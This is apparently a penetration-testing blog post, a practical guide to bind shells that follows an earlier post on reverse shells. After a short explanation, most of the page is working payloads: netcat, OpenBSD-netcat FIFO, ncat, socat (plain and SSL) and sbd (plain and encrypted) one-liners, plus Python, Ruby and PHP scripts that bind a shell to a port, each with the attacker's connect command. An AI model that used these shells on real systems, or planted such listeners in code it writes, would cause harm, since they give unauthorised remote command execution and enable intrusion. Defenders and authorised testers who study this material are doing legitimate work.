Skip to content

Bind Shells: A Practical Guide

Published: at 05:19 PM

Introduction

In continuation of the discussion on reverse shells, we now shift our focus to bind shells. Both methods offer remote access to systems, but while reverse shells require the target machine to connect back to the attacker’s system, bind shells work the opposite way.

Table of contents

Open Table of contents

What is a Bind Shell?

A bind shell sets up a listener on the target machine, waiting for the attacker to connect. This is particularly useful when the target machine is accessible over the network, and it allows the attacker to start communication.

In a bind shell, the target machine “binds” a command shell to a specific port. The attacker then connects to this port and gains access to the machine.


How it Works

  1. Target Machine Sets a Listener: The target machine creates a socket and listens on a port, waiting for a connection from the attacker.
  2. Attacker Connects: Once the listener is active, the attacker can connect from their machine and take control of the command shell.

The target machine acts as the server, and the attacker as the client.


Netcat

One of the simplest ways to create a bind shell is using netcat. Let’s take a look at how this can be done:

On the Target Machine

nc -lvp <PORT> -e /bin/bash

On the Attacker’s Machine

Once the bind shell is set up, the attacker can connect by running:

nc <TARGET_IP> <PORT>

The attacker’s machine then has access to the shell bound on the target’s port PORT.

Netcat (OpenBSD)

In OpenBSD version of netcat (without -e/-c), we need to use FIFO named pipes.

On the Target Machine

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp <PORT> > /tmp/f

On the Attacker’s Machine

Once the bind shell is set up, the attacker can connect by running:

nc <TARGET_IP> <PORT>

Ncat

Another way to create a bind shell is using ncat:

On the Target Machine

ncat -lvp <PORT> -e /bin/bash --allow <ATTACKER_IP>

On the Attacker’s Machine

Once the bind shell is set up, the attacker can connect by running:

nc <TARGET_IP> <PORT>

The attacker’s machine then has access to the shell bound on the target’s port PORT.


Socat

Socat, like netcat, can be used to create bind shells with advanced networking options:

On the Target Machine

socat TCP-LISTEN:<PORT>,reuseaddr,fork EXEC:/bin/bash

On the Attacker’s Machine

socat - TCP:<TARGET_IP>:<PORT>

or use simple nc:

nc <TARGET_IP> <PORT>

Socat with SSL

On the Target Machine

socat OPENSSL-LISTEN:<PORT>,cert=cert.pem,key=key.pem,verify=0,fork EXEC:/bin/bash

On the Attacker’s Machine

socat - OPENSSL:<TARGET_IP>:<PORT>,verify=0

SBD

sbd is a Netcat-clone, we can use it to setup both unencrypted and encrypted bind shells:

On the Target Machine

sbd -pl <PORT> -e /bin/sh

On the Attacker’s Machine

sbd <HOST> <PORT>

SBD with encryption

On the Target Machine

sbd -l -c on -k <ENCRYPTION_PHRASE> -p <PORT> -e /bin/sh

On the Attacker’s Machine

sbd -k <ENCRYPTION_PHRASE> <HOST> <PORT>

Python

Another popular method is to use Python, especially when Netcat is unavailable. The following Python script starts a bind shell on selected port.

On the Target Machine

#!/usr/bin/env python
import socket
import subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", <PORT>))
s.listen(1)

conn, addr = s.accept()

while True:
    cmd = conn.recv(1024).decode()
    output = subprocess.getoutput(cmd) + "\n"
    conn.send(output.encode())

conn.close()
s.close()

On the Attacker’s Machine

Connect using netcat:

nc <TARGET_IP> <PORT>

Ruby

Ruby is quite handy for quick bind shell implementations:

On the Target Machine

#!/usr/bin/env ruby
require 'socket'

server = TCPServer.new('0.0.0.0', <PORT>)
socket = server.accept

while cmd = socket.gets
  IO.popen(cmd, 'r') do |output|
    socket.puts output.read
  end
end

On the Attacker’s Machine

nc <TARGET_IP> <PORT>

PHP

PHP can create a bind shell, especially useful when the target has a web server:

On the Target Machine:

<?php
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_bind($socket, '0.0.0.0', <PORT>);
socket_listen($socket);
$client = socket_accept($socket);
while (true) {
    $input = socket_read($client, 1024);
    $output = shell_exec($input);
    socket_write($client, $output, strlen($output));
}
socket_close($client);
?>

On the Attacker’s Machine

nc <target_ip> 1234

These methods provide a range of options for creating bind shells depending on the target environment. Each has its own advantages, whether you’re scripting in Ruby, PHP, or utilizing powerful networking tools like Socat.

Security Concerns

While bind shells are effective, they have notable security drawbacks. Opening a listening port on the target system can expose it to anyone with network access.

Conclusion

Bind shells, while less common than reverse shells, are an important part of a penetration tester’s toolkit. They offer a powerful method for remote command execution when access to the target network is available. As with reverse shells, there are several tools and scripting languages that can be used to achieve this, making them versatile for various environments.